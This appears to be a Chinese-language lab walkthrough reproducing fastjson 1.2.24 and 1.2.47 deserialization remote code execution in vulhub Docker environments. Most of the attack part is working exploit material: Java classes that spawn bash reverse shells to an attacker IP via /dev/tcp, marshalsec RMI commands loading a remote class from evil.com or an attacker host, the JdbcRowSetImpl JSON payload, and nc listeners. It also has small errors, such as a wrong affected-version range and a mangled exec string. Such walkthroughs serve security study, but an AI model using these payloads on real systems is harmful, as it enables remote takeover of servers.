当前位置:   article > 正文

fastjsonfastjson 1.2.24 反序列化导致任意命令执行_fastjson反序列化命令执行

fastjson反序列化命令执行

一 漏洞描述

fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。

受影响版本

fastjson <= 1.2.24

二 环境搭建docker-compose,vulhub

https://blog.csdn.net/weixin_52221158/article/details/125933759

vulhub:https://github.com/vulhub/vulhub

/vulhub-master/fastjson/1.2.24-rce]
└─# docker-compose up -d
  • 1
  • 2

目标 kali 192.168.1.240

攻击机 192.168.1.162

三 漏洞复现

访问ip:端口[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YSX9YRIb-1664586838689)(http://angus.gq/fastjson/1.png#pic_center)]

在这里插入图片描述

修改json时发生反序列化,抓包修改,或 向kali 发POST一个JSON对象,即可更新服务端的信息

POST / HTTP/1.1
Host: 192.168.1.240:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 26

{"name":"hello", "age":20}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11

在这里插入图片描述

curl http://your-ip:8090/ -H "Content-Type: application/json" --data '{"name":"hello", "age":20}'
  • 1

在这里插入图片描述

漏洞分析

http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/

JNDI注入

jdk1.8 生成TouchFile.class (注意这里端口和后面端口相同)

import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
   static {
       try {
                Runtime r = Runtime.getRuntime();
                Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/攻击机ip/端口 0>&1"});
                p.waitFor();
       } catch (Exception e) {
           // do nothing
       }
   }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
javac TouchFile.java
  • 1

在这里插入图片描述

开启http服务

python3 -m http.serve 8000
  • 1

在这里插入图片描述

通过marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类TouchFile.class:

marshalsec:https://github.com/RandomRobbieBF/marshalsec-jar
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://evil.com/#TouchFile" 9999
  • 1
  • 2

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-88BmC8hI-1664586949138)(http://angus.gq/fastjson/5.png#pic_center)]

抓包发取payload

POST / HTTP/1.1
Host: your-ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://攻击ip:9999/TouchFile",
        "autoCommit":true
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17

nc监听反弹shell

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NqTMsBQE-1664586959203)(http://angus.gq/fastjson/6.png#pic_center)]

四 参考链接

https://vulhub.org/#/environments/fastjson/1.2.24-rce/

https://blog.csdn.net/GX233/article/details/124254286

https://blog.csdn.net/weixin_45808483/article/details/121737289

Fastjson 1.2.47 远程命令执行漏洞

一 漏洞描述

Fastjson是阿里巴巴公司开源的一款json解析器,其性能优越,被广泛应用于各大厂商的Java项目中。fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令

受影响版本

fastjson <= 1.2.24

Fastjson RCE关键函数

DefaultJSONParser. parseObject() 解析传入的 json 字符串提取不同的 key 进行后续的处理

TypeUtils. loadClass() 根据传入的类名,生成类的实例

JavaBeanDeserializer. Deserialze() 依次调用 @type 中传入类的对象公有 set\get\is 方法。

ParserConfig. checkAutoType() 阿里后续添加的防护函数,用于在 loadclass 前检查传入的类是否合法。

二 环境搭建docker-compose,vulhub

https://blog.csdn.net/weixin_52221158/article/details/125933759

vulhub:https://github.com/vulhub/vulhub

[/vulhub-master/fastjson/1.2.47-rce]
└─# docker-compose up -d
  • 1
  • 2

目标 kali 192.168.1.240

攻击机 192.168.1.162 / win10 (python3.7 和jdk8 环境下)

三 漏洞复现 (方法与1.2.27-rce相似)

访问ip:端口

在这里插入图片描述

编写exp/同时开启web服务

Exploit.java
exp:
public class Exploit {
    public Exploit(){
        try{
            Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/192.168.1.162/8888 0>&1");
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void main(String[] argv){
        Exploit e = new Exploit();
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14

在这里插入图片描述

javac Exploit.java 编译成class文件,开启kali http服务

javac  Exploit.java
python -m SimpleHTTPServer 5555
  • 1
  • 2

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zrUM0XIH-1664586989306)(http://angus.gq/fastjson/9.png#pic_center)]

反弹shell

开启RMI服务,监听端口,并制定加载远程类Exploit.class

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.1.162:5555/#Exploit" 
  • 1

nc开启监听

nc -lvtp 12345
  • 1

在这里插入图片描述

四 参考链接

https://www.cnblogs.com/peace-and-romance/p/15754787.html

https://www.likecs.com/show-306198709.html

声明:本文内容由网友自发贡献,转载请注明出处:【wpsshop】
推荐阅读
相关标签
  

闽ICP备14008679号